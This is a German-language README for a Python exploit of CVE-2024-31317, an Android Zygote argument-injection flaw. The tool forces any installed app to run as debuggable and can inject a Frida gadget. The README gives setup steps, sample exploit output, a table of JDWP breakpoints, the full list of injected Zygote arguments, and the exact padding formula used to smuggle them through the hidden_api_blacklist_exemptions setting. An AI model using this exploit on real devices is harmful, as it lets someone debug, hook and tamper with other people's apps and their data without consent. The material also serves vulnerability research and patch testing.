
CVE-2024-31317 Exploit für debuggbare App
Ein Python-basierter Exploit für CVE-2024-31317 (Android Zygote Injection), der jede installierte Android-App debuggbar macht, indem bösartige Zygote-Argumente über die hidden_api_blacklist_exemptions-Einstellung injiziert werden. Enthält optionale Frida-Gadget-Injektion für Runtime-Hooking.
Dieser Exploit nutzt eine Command-Injection-Schwachstelle im Zygote-Prozess von Android aus, um Zielanwendungen mit aktiviertem debuggable-Flag zu starten. Dies ermöglicht JDWP-Debugging und die Inspektion jeder App, ohne Root-Zugriff oder die Debug-Version der App zu benötigen.
Basierend auf der Forschung von: Flankers CVE-2024-31317 Analyse
Wichtige Erkenntnis: "das runtime-flags-Feld in ZygoteArguments kann tatsächlich verwendet werden, um das debuggable-Attribut einer Anwendung zu aktivieren."
runtime-flags=65535, um Debugging zu aktivierenppadb, jdwplibPlatzieren Sie die folgenden Dateien im selben Verzeichnis:
├── CVE-2024-31317-Debuggable.py # Haupt-Exploit-Skript
├── jdwplib.py # JDWP-Client-Bibliothek
├── app-debug.apk # Debuggable Helfer-App
├── frida-gadget-android-*.so # Frida-Gadget (optional)
├── frida-gadget.config.so # Frida-Konfiguration (optional)
└── win32/adb.exe # Windows ADB-Binärdatei
python CVE-2024-31317-Debuggable.py
Das Skript fordert Sie zur Auswahl eines Parametererkennungsmodus auf:
==================================================
CVE-2024-31317 Exploit
==================================================
[1] Auto-detect parameters
[2] Hardcoded values
Mode (1/2) [1]:
Phase 1: startSeq extrahieren
startSeq-Wert aus Stack-FramesPhase 2: Zygote-Argumente injizieren
runtime-flags=65535 (debuggable)hidden_api_blacklist_exemptions-EinstellungPhase 3: Post-Exploitation
==================================================
CVE-2024-31317 Exploit
==================================================
[1] Auto-detect parameters
[2] Hardcoded values
Mode (1/2) [1]: 1
[INFO] Phase 1: Extract startSeq
[INFO] com.debug.app already installed
[INFO] Setting debuggable
[INFO] Starting com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] JDWP port: 8700
[INFO] Suspending VM
[INFO] Scanning 42 frames
[INFO] startSeq: 123456
[INFO] Phase 2: Exploit com.debug.configurator
[INFO] Detecting parameters for com.debug.configurator
[INFO] UID: 10242
[INFO] Arch: arm64
[INFO] Data: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Payload: 8765 bytes
[INFO] Restarting target
[INFO] Done
[INFO] Target PID: 23456
[INFO] JDWP: 8701
Inject Frida? (y/N):
Bearbeiten Sie die Konstanten am Anfang des Skripts:
TARGET_APP = "com.debug.configurator" # Ändern Sie dies zu Ihrem Zielpaket
DEBUG_APP = "com.debug.app" # Helfer-Debuggable-App
DEBUG_APK = "app-debug.apk" # APK-Datei für die Helfer-App
Auto-Erkennungsmodus (empfohlen):
pm list packages -U, um die UID zu erhaltendumpsys package, um Befehlssatz und Datenverzeichnis zu ermittelnFest codierter Modus:
Nach erfolgreichem Exploit können Sie optional das Frida-Gadget injizieren:
Inject Frida? (y/N): y
Das Skript wird:
frida-gadget.so nach /data/local/tmp/ schiebenrun-as in das Datenverzeichnis der App kopierenDas Skript probiert diese Breakpoints in der Reihenfolge ihrer Zuverlässigkeit:
| Klasse | Methode | Auslöser |
|---|---|---|
android.os.MessageQueue | next | Automatisch – Haupt-Looper pollt ständig |
android.os.Binder | execTransact | Automatisch – jeder IPC/Binder-Aufruf |
android.app.ActivityThread | handleMessage | Automatisch – Haupt-Handler der App |
android.os.Handler | dispatchMessage | Automatisch – Nachrichtenverteilung |
android.os.Handler | handleMessage | Automatisch – Nachrichtenverarbeitung |
android.view.Choreographer | doFrame | Automatisch – Frame-Callbacks |
android.view.View | dispatchTouchEvent | Manuell – erfordert Berührung |
android.view.View | onDraw | Manuell – erfordert UI-Neuzeichnung |
Die oberen Breakpoints sollten automatisch auslösen. Falls sie auslaufen, tippen Sie auf die App, um die Fallback-Breakpoints auszulösen.
Nach erfolgreicher Injektion:
# Verbindung zum Gadget
frida -H 127.0.0.1:27042 -n Gadget
# Prozesse auflisten
frida-ps -H 127.0.0.1:27042
Sobald der Exploit erfolgreich ist, läuft die Ziel-App mit aktiviertem Debugging:
Mit JDWP-Debugger verbinden:
jdb -attach localhost:8701
Android Studio Debugger verwenden – An den Prozess auf dem weitergeleiteten Port anhängen
Frida verwenden – Falls das Gadget über das Skript injiziert wurde
CVE-2024-31317 ist eine Command-Injection-Schwachstelle im Zygote-Prozess von Android. Durch Manipulation der hidden_api_blacklist_exemptions-Systemeinstellung mit speziell präparierter Eingabe können wir beim Start einer App beliebige Zygote-Argumente injizieren.
startSeq-Extraktion: Jeder App-Start hat eine eindeutige Sequenznummer. Wir extrahieren diese aus einer debuggable App über JDWP, indem wir Stack-Frame-Variablen inspizieren.
Payload-Konstruktion: Wir erstellen Zygote-Argumente einschließlich:
--runtime-args
--setuid=<target_uid>
--setgid=<target_gid>
--runtime-flags=65535 # Aktiviert alle Debug-Flags
--mount-external-default
--target-sdk-version=35
--setgroups=3003
--nice-name=<package>
--seinfo=default:targetSdkVersion=30:complete
--instruction-set=<arch>
--app-data-dir=<data_dir>
--package-name=<package>
--is-top-app
--bind-mount-data-dirs
android.app.ActivityThread
seq=<startSeq+1>
Injektion: Der Payload wird mit spezifischem Padding für Android 12+ in die Systemeinstellung injiziert:
payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400